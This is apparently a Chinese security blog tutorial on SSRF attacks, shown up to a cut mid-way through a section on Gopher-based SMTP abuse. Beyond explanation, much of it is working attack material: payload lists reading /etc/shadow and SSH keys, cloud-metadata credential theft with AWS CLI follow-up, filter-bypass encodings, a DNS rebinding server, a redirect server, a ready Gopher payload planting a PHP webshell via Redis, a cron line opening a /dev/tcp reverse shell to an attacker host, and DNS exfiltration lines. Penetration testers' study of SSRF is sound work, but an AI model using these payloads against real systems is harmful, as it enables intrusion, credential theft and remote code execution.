SSRF服务端请求伪造攻防实战:从内网穿透到云元数据利用

【提示】 本文所有技术内容仅供授权安全测试、安全学习与防御研究使用。未经授权对他人系统进行SSRF测试属于违法行为。请务必在合法授权的靶场环境或获得书面授权的前提下进行实践。文中涉及的云厂商元数据地址、绕过技术仅为防御参考,切勿用于非授权场景。

SSRF(Server-Side Request Forgery,服务端请求伪造)是近年来云原生时代最危险的漏洞之一。随着微服务架构、云环境元数据服务的普及,一个简单的SSRF漏洞就能导致整朵云被接管、内网全面失守。从2019年Capital One数据泄露(AWS元数据SSRF致1.06亿用户数据外泄),到无数内网穿透事件,SSRF的杀伤力远超大多数Web漏洞。

本文将从基础原理、漏洞发现、协议利用、云环境利用、绕过技术、盲SSRF、Gopher深度利用、漏洞组合、自动化工具、防御方案到靶场实战,完整还原SSRF攻防全链路。无论你是渗透测试人员、安全开发工程师还是云安全运维人员,都能从中获得可直接落地的技术参考。

一、SSRF基础原理

1.1 什么是SSRF

SSRF(Server-Side Request Forgery)是指攻击者能够利用服务端应用程序发起由攻击者控制的网络请求。当Web应用接受用户输入的URL、域名或主机地址,并在服务端对该地址发起请求时,若未对输入进行严格校验,攻击者就可以让服务器去访问本不该访问的资源,例如内网服务、本地文件、云元数据接口等。

1.2 SSRF的核心危害

SSRF的危害极其广泛,主要包括:

  • 内网端口与服务扫描,绘制内网拓扑
  • 读取本地任意文件(通过file协议)
  • 攻击内网未授权服务(Redis、MySQL、FastCGI等)
  • 穿透防火墙访问隔离网络
  • 获取云服务器实例元数据,窃取AK/SK凭据
  • 接管云资源、Kubernetes集群
  • 结合其他漏洞实现远程代码执行(RCE)

1.3 服务端发起请求的常见场景

SSRF本质上源于"服务端代替用户发起请求"的业务功能。以下场景是SSRF高发区:

场景 说明 典型参数
URL预览/链接摘要 抓取URL生成标题和缩略图 url=, link=
图片代理/远程图片获取 下载远程图片到本地 image=, img=, thumb=
Webhook回调 服务端向用户配置的地址发送通知 webhook=, callback=
文件远程获取 从指定URL下载文件 file=, source=, path=
API聚合/转发 服务端调用第三方API api=, endpoint=, proxy=
PDF/文档在线生成 渲染远程页面生成PDF html=, render=
RSS/Feed订阅抓取 抓取订阅源 feed=, rss=
翻译/代理服务 在线翻译或代理访问 translate=, url=

1.4 SSRF与CSRF的区别

很多初学者容易混淆SSRF与CSRF,二者有本质区别:

对比项 SSRF CSRF
全称 Server-Side Request Forgery Cross-Site Request Forgery
请求发起方 服务端(被攻击服务器) 用户浏览器(受害者)
攻击目标 内网服务、本地文件、云元数据 用户身份执行的操作
利用条件 服务端有URL请求功能 用户已登录目标站点
危害层面 内网穿透、数据窃取、云接管 越权操作、账号盗用
防御重点 输入校验、IP白名单 Token、SameSite Cookie

1.5 SSRF分类

根据响应是否回显,SSRF可分为三类:

类型 说明 利用难度 典型场景
基本SSRF 服务端请求结果直接回显 URL预览、图片代理
半盲SSRF 部分信息回显(状态码/标题/错误) Webhook、部分API
盲SSRF 无任何响应回显 无回显的回调、异步任务

1.6 常见触发函数

不同语言中触发SSRF的常见函数:

语言 触发函数/类 说明
PHP file_get_contents() 读取URL内容,支持多种协议
PHP curl_exec() cURL请求,功能强大
PHP fsockopen() 打开网络连接,可指定协议
PHP SoapClient SOAP请求,支持gopher协议
Java URL.openConnection() 打开URL连接
Java HttpURLConnection HTTP连接
Java HttpClient Apache HTTP客户端
Java RestTemplate Spring REST请求
Python requests.get() HTTP请求库
Python urllib.urlopen() 内置URL打开
Python pycurl cURL绑定
Node.js http.get() / https.get() 内置HTTP模块
Node.js axios.get() 流行HTTP库
Go http.Get() 标准库HTTP请求

1.7 OWASP Top 10中的位置

在OWASP Top 10 2021中,SSRF被单独列为A10:2021 - Server-Side Request Forgery (SSRF),这是SSRF首次作为独立类别进入Top 10,足见其危害之严重。在2017版中SSRF属于A6组件相关风险的一部分。

二、SSRF漏洞发现与检测

2.1 漏洞点识别方法

发现SSRF的第一步是定位服务端发起请求的输入点。以下是系统化的识别方法:

方法 说明 适用场景
参数名分析 关注url/link/image等参数 黑盒测试
功能点观察 URL预览、图片代理、Webhook 业务理解
流量抓包 Burp抓包分析请求参数 主动测试
代码审计 搜索触发函数调用 白盒测试
历史漏洞参考 同类型应用已知SSRF点 经验复用
API文档查阅 Swagger/OpenAPI文档中的URL参数 接口测试

2.2 URL参数分析

重点关注的URL参数模式:

复制代码
https://target.com/preview?url=https://example.com
https://target.com/proxy?image=http://img.example.com/a.jpg
https://target.com/fetch?file=ftp://files.example.com/data
https://target.com/api/call?endpoint=http://internal-api/v1/users
https://target.com/webhook?callback=https://attacker.com/notify
https://target.com/render?html=https://page.example.com
https://target.com/translate?source=http://source.example.com
https://target.com/import?feed=https://feed.example.com/rss

2.3 常见SSRF参数名清单

以下是高频出现的SSRF相关参数名,测试时优先关注:

复制代码
url、link、image、img、thumbnail、thumb、source、src、file、filename
target、target_url、dest、destination、redirect、redirect_url
proxy、webhook、callback、api、endpoint、endpoint_url
host、hostname、domain、address、ip、port
remote、remote_url、fetch、load、open、preview、convert
next、ref、reference、uri、request、site、page、path、feed、rss

2.4 检测Payload集

使用带外回调通道是检测SSRF最可靠的方法。以下是常用检测payload:

【提示】 检测时使用Burp Collaborator或自建DNSLog服务,通过观察是否收到DNS/HTTP回调来确认SSRF存在。

基础DNSLog检测:

复制代码
?url=http://xxx.dnslog.cn
?url=http://collaborator.burpcollaborator.net
?url=http://abc123.yourserver.com
?url=http://attacker.com/ssrf-test

不同协议探测:

复制代码
?url=file:///etc/passwd
?url=dict://127.0.0.1:6379/INFO
?url=gopher://127.0.0.1:6379/_INFO
?url=http://169.254.169.254/latest/meta-data/
?url=http://127.0.0.1:80

2.5 自动化检测脚本

下面是一个Python编写的SSRF自动化检测脚本,结合DNSLog实现带外检测:

python 复制代码
import requests
import random
import string
import time
import argparse

class SSRFDetector:
    def __init__(self, dnslog_domain):
        self.dnslog_domain = dnslog_domain
        self.payloads = []
        self.results = []

    def generate_payload_id(self):
        return ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))

    def build_payloads(self, target_param):
        """构建检测payload集"""
        subdomain = self.generate_payload_id()
        payloads = [
            # 基础HTTP回调
            f"http://{subdomain}.{self.dnslog_domain}",
            # 不同协议
            f"file:///etc/passwd",
            f"dict://127.0.0.1:6379/INFO",
            f"gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a",
            # 云元数据
            f"http://169.254.169.254/latest/meta-data/",
            f"http://100.100.100.200/latest/meta-data/",
            # 内网探测
            f"http://127.0.0.1:80",
            f"http://127.0.0.1:22",
            f"http://192.168.1.1:80",
        ]
        return payloads

    def scan(self, url, param, method="GET"):
        """执行SSRF检测"""
        payloads = self.build_payloads(param)
        for payload in payloads:
            try:
                if method == "GET":
                    r = requests.get(url, params={param: payload}, timeout=10)
                else:
                    r = requests.post(url, data={param: payload}, timeout=10)
                self.results.append({
                    "payload": payload,
                    "status": r.status_code,
                    "length": len(r.text),
                    "time": r.elapsed.total_seconds()
                })
                print(f"[*] Payload: {payload}")
                print(f"    Status: {r.status_code} | Length: {len(r.text)} | Time: {r.elapsed.total_seconds():.2f}s")
            except Exception as e:
                print(f"[!] Error with {payload}: {e}")
        return self.results

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SSRF Auto Detector")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--param", required=True, help="Parameter name")
    parser.add_argument("-d", "--dnslog", required=True, help="DNSLog domain")
    parser.add_argument("-m", "--method", default="GET", help="HTTP method")
    args = parser.parse_args()

    detector = SSRFDetector(args.dnslog)
    detector.scan(args.url, args.param, args.method)
    print("\n[+] Check your DNSLog panel for callbacks")

2.6 完整检测流程

完整的SSRF检测流程如下:

  1. 信息收集:识别目标应用中所有接收URL参数的功能点
  2. 参数标记:列出所有可疑参数名(url/image/webhook等)
  3. 带外检测:使用DNSLog对每个可疑参数发送回调payload
  4. 结果确认:检查DNSLog面板是否收到DNS查询或HTTP请求
  5. 协议探测:确认存在SSRF后,测试file/dict/gopher等协议
  6. 内网扫描:利用SSRF扫描内网端口和服务
  7. 深度利用:根据发现的服务进行进一步利用
  8. 报告记录:详细记录漏洞点、payload、影响范围

三、协议利用与内网穿透

SSRF的威力很大程度上来源于多协议支持。当服务端底层使用支持多协议的库(如PHP的curl)时,攻击者可以利用不同协议实现内网穿透和文件读取。

3.1 file协议读取本地文件

file协议用于读取服务器本地文件,是最直接的SSRF利用方式之一。

Linux系统常见读取目标:

复制代码
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/status
file:///var/log/nginx/access.log
file:///root/.ssh/id_rsa
file:///root/.bash_history

Windows系统常见读取目标:

复制代码
file:///C:/Windows/win.ini
file:///C:/Windows/system32/drivers/etc/hosts
file:///C:/Windows/System32/config/SAM
file:///C:/inetpub/wwwroot/web.config
file:///C:/Users/Administrator/.ssh/id_rsa

读取应用源码和配置:

复制代码
file:///var/www/html/config.php
file:///var/www/html/.env
file:///app/config/database.yml
file:///opt/application/application.properties

3.2 dict协议探测端口与服务版本

dict协议可以探测目标端口开放情况和服务Banner信息,是内网信息收集利器。

复制代码
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/config:get:dir
dict://127.0.0.1:3306/
dict://127.0.0.1:22/
dict://127.0.0.1:21/
dict://127.0.0.1:11211/stats
dict://192.168.1.1:8080/

3.3 gopher协议详解

gopher协议是SSRF中最强大的协议,它可以构造任意TCP数据包,能够攻击几乎所有TCP服务。gopher协议格式如下:

复制代码
gopher://<host>:<port>/_<TCP数据流(URL编码)>

【提示】 gopher协议中下划线 _ 后面即为发送的原始TCP数据,需要对数据中的特殊字符(如换行符、回车符)进行URL编码。换行符 \r\n 编码为 %0d%0a

gopher打Redis示例(执行INFO命令):

复制代码
gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a

3.4 http协议内网扫描

http协议可用于内网Web服务和端口扫描:

复制代码
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:8443
http://127.0.0.1:3000
http://127.0.0.1:9090
http://192.168.1.0/24
http://10.0.0.0/8
http://172.16.0.0/12

内网常见端口扫描清单:

端口 服务 说明
22 SSH 远程登录
21 FTP 文件传输
80/443 HTTP/HTTPS Web服务
3306 MySQL 数据库
6379 Redis 缓存服务
11211 Memcached 缓存服务
27017 MongoDB 文档数据库
9200 Elasticsearch 搜索引擎
5601 Kibana 可视化面板
9000 FastCGI/PHP-FPM FastCGI进程
2375 Docker Docker API
8080 Tomcat/Jenkins 应用服务
8161 ActiveMQ 消息队列
15672 RabbitMQ 消息队列管理
8500 Consul 服务发现

3.5 ldap协议利用

ldap协议可用于查询目录服务信息:

复制代码
ldap://127.0.0.1:389/
ldap://127.0.0.1/dc=example,dc=com

3.6 完整协议利用Payload集

复制代码
# file协议 - 文件读取
file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ
file:///C:/Windows/win.ini

# dict协议 - 端口探测
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:6379/config:get:dir
dict://127.0.0.1:3306/
dict://127.0.0.1:11211/stats

# gopher协议 - Redis攻击
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:6379/_flushall%0d%0a

# gopher协议 - MySQL攻击
gopher://127.0.0.1:3306/_<MySQL数据包>

# http协议 - 内网扫描
http://127.0.0.1:80
http://192.168.1.1:8080
http://10.0.0.1:80

# 云元数据
http://169.254.169.254/latest/meta-data/
http://100.100.100.200/latest/meta-data/

# ldap协议
ldap://127.0.0.1:389/dc=example,dc=com

# tftp协议
tftp://127.0.0.1/etc/passwd

四、云环境SSRF利用

云环境的出现让SSRF的危害呈指数级放大。几乎所有主流云厂商都提供了实例元数据服务(IMDS),通过特定链路本地地址可以获取实例信息甚至临时凭据。

4.1 AWS EC2元数据服务

AWS EC2实例元数据服务通过链路本地地址169.254.169.254提供,这是最经典的SSRF利用目标:

复制代码
# 获取实例基本信息
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/security-credentials/

# 获取IAM角色凭据(关键!)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

# 用户数据(可能包含敏感信息)
http://169.254.169.254/latest/user-data/

# 动态数据
http://169.254.169.254/latest/dynamic/instance-identity/document

获取到的IAM角色凭据格式如下(包含AccessKeyId、SecretAccessKey、Token):

json 复制代码
{
  "Code" : "Success",
  "LastUpdated" : "2026-01-01T00:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAxxxxxxxxxxxxxxx",
  "SecretAccessKey" : "wJalrXUtxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token" : "FwoGZXIvYXdzExxxxxxxxxxxxxx",
  "Expiration" : "2026-01-01T06:00:00Z"
}

4.2 阿里云ECS元数据服务

阿里云ECS实例元数据通过100.100.100.200提供:

复制代码
# 阿里云元数据
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/instance-name
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>
http://100.100.100.200/latest/user-data

4.3 各云厂商元数据地址表

云厂商 元数据地址 凭据路径 备注
AWS EC2 169.254.169.254 /latest/meta-data/iam/security-credentials/ IMDSv2需Token
阿里云ECS 100.100.100.200 /latest/meta-data/ram/security-credentials/ -
腾讯云CVM 169.254.0.23 /latest/meta-data/cam/security-credentials/ -
华为云ECS 169.254.169.254 /latest/meta-data/iam/security-credentials/ -
Azure VM 169.254.169.254 /metadata/instance?api-version=2021-02-01 需Header: Metadata:true
Google Cloud metadata.google.internal /computeMetadata/v1/ 需Header: Metadata-Flavor: Google
UCloud 169.254.169.254 /latest/meta-data/ -

【提示】 Azure和GCP的元数据服务要求请求中携带特定Header才能响应,这意味着普通的SSRF无法直接访问,需要SSRF支持自定义Header才行。这也是一种天然的防护。

4.4 IMDSv1与IMDSv2区别与绕过

AWS在2019年Capital One事件后推出了IMDSv2,要求请求时先获取Session Token,再带Token请求元数据:

IMDSv1(已不推荐):

复制代码
# 直接请求即可
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

IMDSv2(推荐):

复制代码
# 第一步:获取Token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# 第二步:带Token请求元数据
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Header: X-aws-ec2-metadata-token: <token>

IMDSv2的绕过思路:

绕过思路 说明 可行性
应用仍兼容IMDSv1 未强制禁用v1
SSRF支持PUT方法 可获取Token
XSS+浏览器代理 利用浏览器发PUT
容器内直接访问 已在实例内部 不适用

4.5 云SSRF完整利用链

以AWS为例,完整利用链如下:

  1. 发现SSRF漏洞点(如URL预览功能)

  2. 访问元数据获取IAM角色名

    http://169.254.169.254/latest/meta-data/iam/security-credentials/

  3. 获取角色临时凭据(AK/SK/Token)

    http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>

  4. 配置AWS CLI使用获取的凭据

bash 复制代码
export AWS_ACCESS_KEY_ID="ASIAxxxxxxxxxxxxxxx"
export AWS_SECRET_ACCESS_KEY="wJalrXUtxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzExxxxxxxxxxxxxx"
  1. 枚举云资源并接管
bash 复制代码
# 列出S3存储桶
aws s3 ls

# 列出EC2实例
aws ec2 describe-instances

# 列出Lambda函数
aws lambda list-functions

# 读取数据库密钥
aws secretsmanager get-secret-value --secret-id prod/db

4.6 Kubernetes API Server SSRF

Kubernetes API Server默认监听端口6443/443,若内网存在SSRF可访问API Server:

复制代码
https://kubernetes.default.svc:443/api/v1/namespaces/default/pods
https://kubernetes.default.svc:443/api/v1/secrets
https://kubernetes.default.svc:443/api/v1/namespaces/default/configmaps

如果Pod通过ServiceAccount挂载了Token,可以通过file协议读取:

复制代码
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace

然后利用Token访问API Server:

bash 复制代码
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc:443/api/v1/namespaces/default/secrets

五、SSRF绕过技术

实际环境中,开发者通常会设置一些防护,如黑名单过滤127.0.0.1、禁止内网IP等。绕过防护是SSRF攻击的核心技能。

5.1 IP地址绕过

当服务端过滤了 127.0.0.1 等常见本地地址时,可以用各种等价表示形式绕过:

绕过方式 示例 说明
十进制整数 http://2130706433/ 127.0.0.1的十进制
八进制 http://0177.0.0.1/ 八进制表示
十六进制 http://0x7f.0x0.0x0.0x1/ 十六进制
十六进制整数 http://0x7f000001/ 完整十六进制
混合编码 http://0177.0.0.0x1/ 八进制+十六进制
IPv6回环 http://::1/ IPv6本地地址
IPv6映射 http://::ffff:127.0.0.1/ IPv6映射IPv4
省略零 http://127.1/ 等价127.0.0.1
全零 http://0.0.0.0/ 等价本地地址
127.x.x.x http://127.255.255.254/ 整个127段均为本地
八进制混合 http://017700000001/ 八进制整数

验证计算:

复制代码
127.0.0.1 十进制 = 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
127.0.0.1 十六进制 = 0x7f000001
127.0.0.1 八进制 = 017700000001

5.2 域名绕过

利用域名解析到本地或内网来绕过IP黑名单:

复制代码
# 短链接服务(跳转到内网地址)
http://dwz.cn/xxxxx (指向内网)
http://bit.ly/xxxxx

# 本地域名(DNS解析为127.0.0.1)
http://localhost
http://localtest.me (解析为127.0.0.1)
http://localtest.me = 127.0.0.1
http://customer1.app.localhost.my.company.localhost.localdomain

# xip.io / xip.nip.io (泛解析服务)
http://127.0.0.1.xip.io/
http://192.168.1.1.xip.io/
http://10.0.0.1.nip.io/
http://ssrf.127.0.0.1.xip.io/

5.3 URL解析差异绕过

不同URL解析库对特殊字符的处理存在差异,可利用这些差异绕过校验:

复制代码
# @符号绕过(@前为用户名,@后为真实主机)
http://evil.com@127.0.0.1/
http://allowed.com@127.0.0.1/
http://allowed.com@127.0.0.1:80/

# #符号绕过(#后为片段,部分库忽略)
http://127.0.0.1#@allowed.com/

# 反斜杠绕过
http://allowed.com\@127.0.0.1/
http://127.0.0.1\@allowed.com/

# 空格绕过
http://127.0.0.1 /
http:// 127.0.0.1

# 多个@符号
http://a@b@c@127.0.0.1/

【提示】 URL解析差异是最隐蔽的绕过方式之一。例如,某些校验库会将 http://evil.com@127.0.0.1/ 中的host解析为evil.com(@前的部分),而实际请求库会向127.0.0.1发起请求(@后的部分),从而实现绕过。

5.4 DNS重绑定攻击

DNS Rebinding(DNS重绑定)是一种高级绕过技术,利用DNS缓存时间差绕过基于DNS解析的IP校验。

攻击原理:

  1. 攻击者控制一个域名 evil.com
  2. 第一次DNS解析返回一个公网IP(通过校验)
  3. 校验通过后,DNS记录快速变为127.0.0.1
  4. 服务端实际请求时解析到127.0.0.1

利用rbndr等DNS重绑定服务:

复制代码
# 使用rbndr服务(交替返回两个IP)
http://7f000001.c0a80001.rbndr.us/
# 上面的域名会交替返回 127.0.0.1 和 192.168.0.1

# 使用自建DNS服务器
配置TTL=0的DNS记录,第一次返回公网IP,第二次返回127.0.0.1

自建DNS重绑定服务器核心逻辑(Python):

python 复制代码
from twisted.internet import reactor
from twisted.names import dns, server, common
import sys

REBIND_IP = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
SAFE_IP = "1.2.3.4"  # 用于通过初次校验的公网IP
query_count = 0

class RebindResolver(common.ResolverBase):
    def _lookup(self, name, cls, type, timeout):
        global query_count
        query_count += 1
        # 第一次查询返回公网IP,第二次返回内网IP
        if query_count % 2 == 1:
            ip = SAFE_IP
        else:
            ip = REBIND_IP
        print(f"[*] Query #{query_count} for {name} -> {ip}")
        answer = dns.RRHeader(
            name=name,
            payload=dns.Record_A(address=ip, ttl=0),
            ttl=0
        )
        return [answer], [], None

def main():
    factory = server.DNSServerFactory(
        clients=[RebindResolver()],
        verbose=2
    )
    reactor.listenUDP(53, dns.DNSDatagramProtocol(factory))
    reactor.listenTCP(53, factory)
    print(f"[+] DNS Rebinding server started (rebind to {REBIND_IP})")
    reactor.run()

if __name__ == "__main__":
    main()

5.5 302跳转绕过

当服务端校验了URL的域名或IP,但允许跟随重定向时,可利用302跳转绕过:

攻击者搭建一个返回302跳转的服务:

python 复制代码
# rebinder.py - 302跳转服务器
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def redirect_to_internal():
    # 跳转到内网或元数据地址
    return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/")

@app.route('/file')
def redirect_to_file():
    return redirect("file:///etc/passwd")

@app.route('/gopher')
def redirect_to_gopher():
    return redirect("gopher://127.0.0.1:6379/_flushall")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

利用方式:

复制代码
http://attacker.com:8888/redirect
http://attacker.com:8888/file
http://attacker.com:8888/gopher

【提示】 302跳转绕过的核心在于:服务端校验的是初始URL(attacker.com),但实际请求时会跟随302跳转到内网地址。这种方式可以绕过协议限制(如服务端只允许http,但302跳转后可到达file/gopher协议)。

5.6 DNS泛解析利用

利用泛域名解析服务将任意子域名指向指定IP:

复制代码
# 利用sslip.io
http://127.0.0.1.sslip.io/
http://192.168.1.1.sslip.io/
http://10.0.0.1.sslip.io/

# 利用nip.io
http://127.0.0.1.nip.io/
http://192.168.1.100.nip.io/

5.7 完整绕过Payload集

复制代码
# IP绕过
http://2130706433/
http://0x7f000001/
http://017700000001/
http://0x7f.0x0.0x0.0x1/
http://0177.0.0.1/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://127.1/
http://0.0.0.0/
http://127.255.255.254/

# 域名绕过
http://127.0.0.1.xip.io/
http://127.0.0.1.nip.io/
http://127.0.0.1.sslip.io/
http://localtest.me/
http://localhost/

# URL解析差异
http://allowed.com@127.0.0.1/
http://127.0.0.1#@allowed.com/
http://allowed.com\@127.0.0.1/

# 302跳转
http://attacker.com/redirect-to-internal

# DNS重绑定
http://7f000001.c0a80001.rbndr.us/
http://rebind.attacker.com/

六、盲SSRF利用技术

当SSRF漏洞没有响应回显时,称为盲SSRF。盲SSRF的利用难度更高,但通过带外数据提取和时间差异等技术,依然可以获取大量信息。

6.1 盲SSRF原理与场景

盲SSRF常见于Webhook回调、异步任务、邮件通知等功能。服务端发起请求后不返回任何内容给用户,攻击者无法直接看到响应。

典型盲SSRF场景:

  • Webhook配置后服务端异步发送请求
  • 邮件系统预览远程图片
  • 后台定时任务抓取URL
  • API异步调用第三方接口

6.2 基于时间的端口探测

利用不同端口连接时间的差异来推断端口开放状态。开放端口通常快速返回,关闭端口会有较长超时。

python 复制代码
import requests
import time

def blind_ssrf_port_scan(base_url, param, host, ports):
    """基于时间的盲SSRF端口扫描"""
    results = []
    for port in ports:
        target = f"http://{host}:{port}"
        start = time.time()
        try:
            requests.get(base_url, params={param: target}, timeout=30)
        except:
            pass
        elapsed = time.time() - start
        status = "open" if elapsed < 2 else "closed/filtered"
        results.append({"port": port, "time": f"{elapsed:.2f}s", "status": status})
        print(f"[*] Port {port}: {elapsed:.2f}s -> {status}")
    return results

# 使用示例
base_url = "http://target.com/webhook"
param = "callback"
host = "127.0.0.1"
ports = [22, 80, 443, 3306, 6379, 8080, 9200]
blind_ssrf_port_scan(base_url, param, host, ports)

6.3 基于DNSLog的带外数据提取

利用DNS查询带外传输数据是盲SSRF最有效的信息提取方式。通过将数据编码到子域名中,DNS查询会被DNSLog服务接收。

数据提取Payload构造:

复制代码
# 读取文件内容并通过DNS外带
http://attacker.com/?data=$(cat /etc/hostname)

# 利用DNS带外提取(在支持命令执行的场景)
http://`whoami`.attacker.com/
http://`cat /etc/passwd | base64`.attacker.com/

# SSRF场景下的DNS带外
http://subdomain-data.attacker.com/

6.4 基于错误差异的信息推断

当服务端对不同响应返回不同的错误信息时,可以通过错误差异推断内部状态:

响应表现 推断信息
快速返回200 端口开放,服务正常
超时无响应 端口关闭或被过滤
返回Connection refused 端口关闭
返回HTTP错误码 端口开放但非HTTP服务
返回特定Banner 服务类型和版本

6.5 HTTP方法利用

部分SSRF场景下可以指定HTTP方法,不同方法可获取不同信息:

复制代码
# TRACE方法 - 探测中间代理
TRACE / HTTP/1.1

# OPTIONS方法 - 探测支持的方法
OPTIONS / HTTP/1.1

# POST/PUT/DELETE - 测试写操作
POST /api/users HTTP/1.1

# 自定义方法 - 探测服务行为
CUSTOMMETHOD / HTTP/1.1

6.6 完整盲SSRF利用脚本

python 复制代码
import requests
import time
import socket
import base64
import threading

class BlindSSRFExploit:
    def __init__(self, target_url, param, dnslog_domain):
        self.target_url = target_url
        self.param = param
        self.dnslog = dnslog_domain
        self.results = {}

    def dns_exfil(self, data):
        """通过DNS带外传输数据"""
        encoded = base64.b64encode(data.encode()).decode().replace('=', '')
        # 分段传输,避免子域名过长
        chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)]
        for i, chunk in enumerate(chunks):
            payload = f"http://{i}.{chunk}.{self.dnslog}"
            try:
                requests.get(self.target_url, params={self.param: payload}, timeout=10)
            except:
                pass

    def time_based_port_scan(self, host, ports):
        """基于时间的端口扫描"""
        print(f"[*] Time-based port scan for {host}")
        for port in ports:
            target = f"http://{host}:{port}"
            times = []
            for _ in range(3):  # 每个端口测3次取平均
                start = time.time()
                try:
                    requests.get(self.target_url, params={self.param: target}, timeout=15)
                except:
                    pass
                times.append(time.time() - start)
            avg_time = sum(times) / len(times)
            status = "OPEN" if avg_time < 1.5 else "CLOSED"
            self.results[f"{host}:{port}"] = {"time": avg_time, "status": status}
            print(f"    Port {port}: {avg_time:.2f}s -> {status}")

    def error_based_probe(self, target):
        """基于错误的探测"""
        payload = f"http://{target}"
        try:
            r = requests.get(self.target_url, params={self.param: payload}, timeout=10)
            return {"status_code": r.status_code, "length": len(r.text), "time": r.elapsed.total_seconds()}
        except requests.exceptions.ConnectionError:
            return {"error": "connection_refused"}
        except requests.exceptions.Timeout:
            return {"error": "timeout"}
        except Exception as e:
            return {"error": str(e)}

    def run_full_scan(self, host, ports):
        """执行完整盲SSRF扫描"""
        print("[*] Starting blind SSRF full scan")
        self.time_based_port_scan(host, ports)
        print(f"\n[+] Results: {self.results}")
        print(f"[+] Check DNSLog: {self.dnslog}")

# 使用示例
exploit = BlindSSRFExploit(
    target_url="http://target.com/api/webhook",
    param="callback",
    dnslog_domain="xxx.dnslog.cn"
)
exploit.run_full_scan("127.0.0.1", [22, 80, 3306, 6379, 8080])

七、Gopher协议深度利用

Gopher协议是SSRF利用的王牌武器,能够构造任意TCP数据包,实现对Redis、MySQL、FastCGI、SMTP等服务的深度攻击。

7.1 Gopher协议格式详解

Gopher协议格式:

复制代码
gopher://<host>:<port>/_<URL编码的TCP数据>

关键点:

  • _ 后面紧跟要发送的原始TCP数据
  • 所有数据需要URL编码
  • 换行符 \r\n 编码为 %0d%0a
  • 第一个字符可以是路径标识符(如 _ 代表gopher自身)

7.2 Gopher打Redis

Redis未授权访问是SSRF最常见的内网攻击目标。

7.2.1 Redis未授权访问 - 写Webshell

构造Redis命令写入Webshell:

复制代码
# 原始Redis命令
flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST['cmd']); ?>"
save

# Gopher payload (URL编码)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a%3C%3Fphp%20@eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
7.2.2 Redis写SSH公钥
复制代码
# 原始Redis命令
flushall
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC...(公钥内容)...\n\n"
save
7.2.3 Redis写Cron定时任务
复制代码
# 原始Redis命令
flushall
config set dir /var/spool/cron
config set dbfilename root
set x "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"
save

7.3 Gopher打MySQL

当MySQL存在未授权访问或已知弱口令时,可通过Gopher协议执行SQL语句。

MySQL未授权查询Payload:

复制代码
# 查询数据(需要构造MySQL协议数据包)
gopher://127.0.0.1:3306/_<URL编码的MySQL数据包>

# 使用Gopherus工具生成(见第八章)

【提示】 MySQL协议数据包构造较为复杂,通常使用Gopherus工具自动生成payload。MySQL未授权利用需要目标MySQL配置允许无密码连接。

7.4 Gopher打FastCGI(RCE)

当内网存在PHP-FPM(9000端口)且未做访问控制时,可通过Gopher协议利用FastCGI协议实现RCE。

FastCGI RCE payload核心原理:

复制代码
# 构造FastCGI请求,设置以下PHP配置
PHP_VALUE: auto_prepend_file = php://input
PHP_VALUE: allow_url_include = On

# POST body为PHP代码
<?php system('id'); ?>

生成的Gopher payload示例:

复制代码
gopher://127.0.0.1:9000/_<URL编码的FastCGI数据包>

7.5 Gopher打SMTP(邮件伪造)

当内网存在SMTP服务(25端口)时,可利用Gopher协议伪造邮件发送:

复制代码
# SMTP原始命令
HELO attacker.com
